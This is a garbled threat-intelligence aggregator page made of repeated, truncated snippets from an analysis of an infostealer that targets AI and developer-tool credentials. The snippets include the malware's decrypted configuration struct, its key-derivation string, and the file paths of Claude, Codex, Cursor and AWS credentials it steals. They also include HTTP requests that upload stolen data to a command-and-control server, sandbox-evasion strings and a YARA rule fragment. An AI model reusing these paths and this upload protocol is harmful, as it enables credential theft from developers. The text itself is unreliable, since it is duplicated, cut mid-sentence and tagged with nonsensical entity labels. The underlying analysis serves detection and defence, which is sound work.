The initial handshake registers the upload session with the C&C server and sends the client’s 32-byte X25519 public key in the request body.
organisation
C&C
The decrypted configuration contains the command-and-control (C&C) URL, the server’s X25519 public key, a build ID, and a gate token used for communication.
organisation
TLS
It also includes a module bitmask that controls which capabilities are executed, flags for language and analysis-environment checks, TLS certificate pinning settings, and up to three fallback URLs.
organisation
BYTE language_check
…ct DecryptedConfig
{
char base_url[0x100];
BYTE server_x25519_public_key[0x20];
char build_id[0x20];
char gate_token[0x40];
DWORD module_mask;
BYTE unk_184[0x404];
BYTE language_check;
BYTE analysis_environment_check;
BYTE unk_58A;
BYTE tls_certificate_sha256[0x20];
BYTE tls_pin_enabled;
BYTE fallback_urls[3][0x100];
BYTE fa…
organisation
BYTE unk_58A
…ct DecryptedConfig
{
char base_url[0x100];
BYTE server_x25519_public_key[0x20];
char build_id[0x20];
char gate_token[0x40];
DWORD module_mask;
BYTE unk_184[0x404];
BYTE language_check;
BYTE analysis_environment_check;
BYTE unk_58A;
BYTE tls_certificate_sha256[0x20];
BYTE tls_pin_enabled;
BYTE fallback_urls[3][0x100];
BYTE fa…
organisation
BYTE tls_certificate_sha256[0x20]
…ct DecryptedConfig
{
char base_url[0x100];
BYTE server_x25519_public_key[0x20];
char build_id[0x20];
char gate_token[0x40];
DWORD module_mask;
BYTE unk_184[0x404];
BYTE language_check;
BYTE analysis_environment_check;
BYTE unk_58A;
BYTE tls_certificate_sha256[0x20];
BYTE tls_pin_enabled;
BYTE fallback_urls[3][0x100];
BYTE fa…
organisation
SHA-256
The malware derives the communication encryption key from this shared secret using SHA-256 and the fixed string
aokigahara
.
organisation
ZIP
The malware allocates an upload buffer with a size equal to the ZIP archive’s size plus 28 bytes.
data_breach
28 bytes
The malware allocates an upload buffer with a size equal to the ZIP archive’s size plus 28 bytes.
organisation
EF BE AD DE
EF BE AD DE }
condition:
uint16(0) == 0x5A4D and 3 of them
}
Tactical Metrics
Metrics
infrastructure
Cursor
Affected Product
Click for context!
The stealer collects authentication files, session data, and configuration files associated with Claude, ChatGPT Desktop, Codex, Cursor, Windsurf, GitHub Copilot, Gemini CLI, and other tools.
Its targets include Claude, ChatGPT Desktop, Codex, Cursor, Windsurf, and GitHub Copilot, alongside cloud credentials and sensitive files from local development environments.
aisessions
AI/developer-tool credentials and sessions: Claude Code/Desktop, Codex, ChatGPT Desktop, AWS credentials/SSO and Amazon Q, Cursor, Windsurf, Kiro, GitHub Copilot/VS Code, Gemini CLI, and JetBrains AI Assistant.
ide
The ide handler collects local data from code editors and developer tools, including VS Code, Cursor, Windsurf, and JetBrains products.
These include Claude, ChatGPT Desktop, Codex, Cursor, Windsurf, GitHub Copilot, and Gemini CLI, alongside AWS credentials and single sign-on (SSO) data.
…e_pzs8sxrjxfjjc\LocalCache\Roaming\Claude
Codex
%s\.codex\auth.json
%s\.codex\config.toml
%s\.codex\.env
ChatGPT Desktop
%s\Packages\OpenAI.ChatGPT-Desktop_2p2nqsd0c76g0\LocalCache\Roaming\ChatGPT
Cursor
%s\Cursor\User\globalStorage\state.vscdb
%s\Cursor\User\globalStorage\storage.json
%s\Cursor - Insiders\User\globalStorage\state.vscdb
%s\Cursor - Insiders\User\globalStorage\storage.json
AWS…
The inspected strings include:
"sandbox", "malware", "virus", "sample", "test", "user", "admin", "CurrentUser", "John", "Peter", "JOHN", "John Doe", "WDAGUtilityAccount"
Additional checks monitor cursor movement and the number of running processes.
Metrics
infrastructure
Windsurf
Affected Product
The stealer collects authentication files, session data, and configuration files associated with Claude, ChatGPT Desktop, Codex, Cursor, Windsurf, GitHub Copilot, Gemini CLI, and other tools.
Its targets include Claude, ChatGPT Desktop, Codex, Cursor, Windsurf, and GitHub Copilot, alongside cloud credentials and sensitive files from local development environments.
aisessions
AI/developer-tool credentials and sessions: Claude Code/Desktop, Codex, ChatGPT Desktop, AWS credentials/SSO and Amazon Q, Cursor, Windsurf, Kiro, GitHub Copilot/VS Code, Gemini CLI, and JetBrains AI Assistant.
ide
The ide handler collects local data from code editors and developer tools, including VS Code, Cursor, Windsurf, and JetBrains products.
These include Claude, ChatGPT Desktop, Codex, Cursor, Windsurf, GitHub Copilot, and Gemini CLI, alongside AWS credentials and single sign-on (SSO) data.
…e_pzs8sxrjxfjjc\LocalCache\Roaming\Claude
Codex
%s\.codex\auth.json
%s\.codex\config.toml
%s\.codex\.env
ChatGPT Desktop
%s\Packages\OpenAI.ChatGPT-Desktop_2p2nqsd0c76g0\LocalCache\Roaming\ChatGPT
Cursor
%s\Cursor\User\globalStorage\state.vscdb
%s\Cursor\User\globalStorage\storage.json
%s\Cursor - Insiders\User\globalStorage\state.vscdb
%s\Cursor - Insiders\User\globalStorage\storage.json
AWS…
Metrics
infrastructure
Windows
Affected Product
Function
What the handler targets
sysinfo
The machine and current user: computer/user names, IP, Windows version, CPU/RAM, screen size, language, uptime, running processes, environment variables, installed software, and detected antivirus.
It also queries Windows Credential Manager.
It also dynamically resolves Windows API functions using hashes and uses control-flow flattening in some parts of the code, particularly around the configuration decryption routine.
When the language-check flag is enabled, the malware checks the system’s keyboard layout and Windows UI language.
Metrics
infrastructure
Microsoft Office
Affected Product
outlook
Microsoft Office Outlook profiles.
Metrics
infrastructure
Vs Code
Affected Product
aisessions
AI/developer-tool credentials and sessions: Claude Code/Desktop, Codex, ChatGPT Desktop, AWS credentials/SSO and Amazon Q, Cursor, Windsurf, Kiro, GitHub Copilot/VS Code, Gemini CLI, and JetBrains AI Assistant.
ide
The ide handler collects local data from code editors and developer tools, including VS Code, Cursor, Windsurf, and JetBrains products.
Metrics
infrastructure
Visual Studio Code
Affected Product
…e_pzs8sxrjxfjjc\LocalCache\Roaming\Claude
Codex
%s\.codex\auth.json
%s\.codex\config.toml
%s\.codex\.env
ChatGPT Desktop
%s\Packages\OpenAI.ChatGPT-Desktop_2p2nqsd0c76g0\LocalCache\Roaming\ChatGPT
Cursor
%s\Cursor\User\globalStorage\state.vscdb
%s\Cursor\User\globalStorage\storage.json
%s\Cursor - Insiders\User\globalStorage\state.vscdb
%s\Cursor - Insiders\User\globalStorage\storage.json
AWS…
Metrics
infrastructure
1.1
Software Version
POST /gate/handshake HTTP/1.1
Connection: Keep-Alive
Content-Type: application/octet-stream
User-Agent: Microsoft-CryptoAPI/10.0
X-Build-ID: cae87a25
X-Gate-Token: fc157583cc171c2c82419748390126839a0f8fba317a75f919e785aca3d98f8e
X-Session: ca47b44161834cb70a224dbe3d92a383
X-HWID: 69B506A1
X-KEX: x25519
Content-Length: 32
Host: $SERVER
$CLIENT_X25519_PUBLIC_KEY
/chunk
For each executed coll…
POST /gate/chunk HTTP/1.1
Connection: Keep-Alive
Content-Type: application/octet-stream
User-Agent: Microsoft-CryptoAPI/10.0
X-Build-ID: 4dbf818f
X-HWID: 69B506A1
X-Chunk: sysinfo
X-Chunk-Index: 0
X-Session: ca47b44161834cb70a224dbe3d92a383
X-Total: 19
X-Gate-Token: fc157583cc171c2c82419748390126839a0f8fba317a75f919e785aca3d98f8e
Content-Length: 3233
Host: $SERVER
\x00\x00\x00\x00$RANDOM_8_BYTE…
POST /gate/chunk HTTP/1.1
Connection: Keep-Alive
Content-Type: application/octet-stream
User-Agent: Microsoft-CryptoAPI/10.0
X-Build-ID: 4dbf818f
X-HWID: 69B506A1
X-Chunk: screenshot
X-Chunk-Index: 1
X-Session: ca47b44161834cb70a224dbe3d92a383
X-Total: 19
X-Gate-Token: fc157583cc171c2c82419748390126839a0f8fba317a75f919e785aca3d98f8e
Content-Length: 10066
Host: $SERVER
\x01\x00\x00\x00$RANDOM_8_…
POST /gate/complete HTTP/1.1
Connection: Keep-Alive
Content-Type: application/octet-stream
User-Agent: Microsoft-CryptoAPI/10.0
X-Build-ID: 4dbf818f
X-HWID: 69B506A1
X-Session: ca47b44161834cb70a224dbe3d92a383
X-Gate-Token: fc157583cc171c2c82419748390126839a0f8fba317a75f919e785aca3d98f8e
Content-Length: 8
Host: $SERVER
COMPLETE
The stealer appears to be under active development, with changes…
Metrics
infrastructure
10.0
Software Version
POST /gate/handshake HTTP/1.1
Connection: Keep-Alive
Content-Type: application/octet-stream
User-Agent: Microsoft-CryptoAPI/10.0
X-Build-ID: cae87a25
X-Gate-Token: fc157583cc171c2c82419748390126839a0f8fba317a75f919e785aca3d98f8e
X-Session: ca47b44161834cb70a224dbe3d92a383
X-HWID: 69B506A1
X-KEX: x25519
Content-Length: 32
Host: $SERVER
$CLIENT_X25519_PUBLIC_KEY
/chunk
For each executed coll…
POST /gate/chunk HTTP/1.1
Connection: Keep-Alive
Content-Type: application/octet-stream
User-Agent: Microsoft-CryptoAPI/10.0
X-Build-ID: 4dbf818f
X-HWID: 69B506A1
X-Chunk: sysinfo
X-Chunk-Index: 0
X-Session: ca47b44161834cb70a224dbe3d92a383
X-Total: 19
X-Gate-Token: fc157583cc171c2c82419748390126839a0f8fba317a75f919e785aca3d98f8e
Content-Length: 3233
Host: $SERVER
\x00\x00\x00\x00$RANDOM_8_BYTE…
POST /gate/chunk HTTP/1.1
Connection: Keep-Alive
Content-Type: application/octet-stream
User-Agent: Microsoft-CryptoAPI/10.0
X-Build-ID: 4dbf818f
X-HWID: 69B506A1
X-Chunk: screenshot
X-Chunk-Index: 1
X-Session: ca47b44161834cb70a224dbe3d92a383
X-Total: 19
X-Gate-Token: fc157583cc171c2c82419748390126839a0f8fba317a75f919e785aca3d98f8e
Content-Length: 10066
Host: $SERVER
\x01\x00\x00\x00$RANDOM_8_…
POST /gate/complete HTTP/1.1
Connection: Keep-Alive
Content-Type: application/octet-stream
User-Agent: Microsoft-CryptoAPI/10.0
X-Build-ID: 4dbf818f
X-HWID: 69B506A1
X-Session: ca47b44161834cb70a224dbe3d92a383
X-Gate-Token: fc157583cc171c2c82419748390126839a0f8fba317a75f919e785aca3d98f8e
Content-Length: 8
Host: $SERVER
COMPLETE
The stealer appears to be under active development, with changes…
Metrics
infrastructure
32
Host
POST /gate/handshake HTTP/1.1
Connection: Keep-Alive
Content-Type: application/octet-stream
User-Agent: Microsoft-CryptoAPI/10.0
X-Build-ID: cae87a25
X-Gate-Token: fc157583cc171c2c82419748390126839a0f8fba317a75f919e785aca3d98f8e
X-Session: ca47b44161834cb70a224dbe3d92a383
X-HWID: 69B506A1
X-KEX: x25519
Content-Length: 32
Host: $SERVER
$CLIENT_X25519_PUBLIC_KEY
/chunk
For each executed coll…
Metrics
infrastructure
3,233
Host
POST /gate/chunk HTTP/1.1
Connection: Keep-Alive
Content-Type: application/octet-stream
User-Agent: Microsoft-CryptoAPI/10.0
X-Build-ID: 4dbf818f
X-HWID: 69B506A1
X-Chunk: sysinfo
X-Chunk-Index: 0
X-Session: ca47b44161834cb70a224dbe3d92a383
X-Total: 19
X-Gate-Token: fc157583cc171c2c82419748390126839a0f8fba317a75f919e785aca3d98f8e
Content-Length: 3233
Host: $SERVER
\x00\x00\x00\x00$RANDOM_8_BYTE…
Metrics
infrastructure
8
Host
POST /gate/complete HTTP/1.1
Connection: Keep-Alive
Content-Type: application/octet-stream
User-Agent: Microsoft-CryptoAPI/10.0
X-Build-ID: 4dbf818f
X-HWID: 69B506A1
X-Session: ca47b44161834cb70a224dbe3d92a383
X-Gate-Token: fc157583cc171c2c82419748390126839a0f8fba317a75f919e785aca3d98f8e
Content-Length: 8
Host: $SERVER
COMPLETE
The stealer appears to be under active development, with changes…
Metrics
data_breach
16
Byte
It begins with a four-byte magic value
STGC
, followed by the ciphertext length, a 16-byte initialization vector (IV) used for AES-CBC decryption, and the encrypted configuration data.
struct EncryptedConfigBlob
{
DWORD magic; // Four-byte configuration magic
DWORD ciphertext_len; // Encrypted configuration size in bytes
BYTE iv[0x10]; // 16-byte AES-CBC initialization vector
BYTE ciphertext
Each request body contains a 12-byte nonce, ciphertext, and a 16-byte authentication tag.
The encrypted ZIP archive follows the nonce, and a 16-byte AES-GCM authentication tag is appended at the end.
Metrics
data_breach
32
Byte
The routine produces a 32-byte key used to decrypt the configuration with AES-256-CBC.
Path
Description
/gate/handshake
Establishes an upload session by sending the client’s raw 32-byte X25519 public key.
The resulting 32-byte key is used for AES-GCM encryption.
The initial handshake registers the upload session with the C&C server and sends the client’s 32-byte X25519 public key in the request body.
Metrics
data_breach
28
Bytes
The malware allocates an upload buffer with a size equal to the ZIP archive’s size plus 28 bytes.
Metrics
data_breach
12
Byte
Each request body contains a 12-byte nonce, ciphertext, and a 16-byte authentication tag.
The buffer begins with a 12-byte AES-GCM nonce, formed by combining the four-byte little-endian chunk index with eight randomly generated bytes.
Intelligence Sources
Zero Day Fans
2026-10-23
Infostealer riding the AI Train
Zero Day Fans
Unpublish from Social Media?
Are you sure you want to delete this podcast video from all synchronized social networks (YouTube, Facebook, Threads)?
Important:
Due to Meta API restrictions, Instagram Reels cannot be deleted automatically via API by third-party apps.
View Profile to Delete Manually
View Profile to Delete Manually
Tactical Intelligence
Report Intelligence Issue
Podcast Options
Generate
Incident Version History
CURRENT VERSION
Last Updated: 2026-10-24T06:11
Comprehensive Tactical Telemetry
Highly Correlated Entities
86x
organisation
Identified Entity
0x0440
entity
11x
target region
Target Country
Russian Federation
country
6x
infrastructure
Affected Product
Cursor
software
5x
timeline
Temporal Reference
45 69
date
3x
infrastructure
Host
32
host
3x
general metric
X
0
x
3x
data breach
Byte
16
byte
2x
tactic
MITRE ATT&CK Technique
T1555.004 - Windows Credential Manager
technique
2x
infrastructure
Software Version
1.1
version
Contextual Telemetry
Context Block
11 METRICS
industry
Targeted Sector
Cryptocurrency
sector
tactic
Cyber Operation Type
Extortion
tactic
general metric
C1 Ea
20
c1 ea
general metric
D6
41
d6
general metric
C6
31
c6
data breach
Bytes
28
bytes
general metric
0X5A4D
3
0x5a4d
general metric
Int
32
int
general metric
Seed
8
seed
general metric
Key.Append(Seed
16
key.append(seed
general metric
Response
200
response
Click on any entity below to view its context in the main text!
Selective Unpublish
Select the networks you want to remove this post from. The system will try to delete the real post through the API and clean the database so you can publish it again.
By navigating this website, you accept the use of strictly necessary technical cookies for session security and basic platform functionality. We do not use tracking or advertising cookies. Read our Privacy Policy.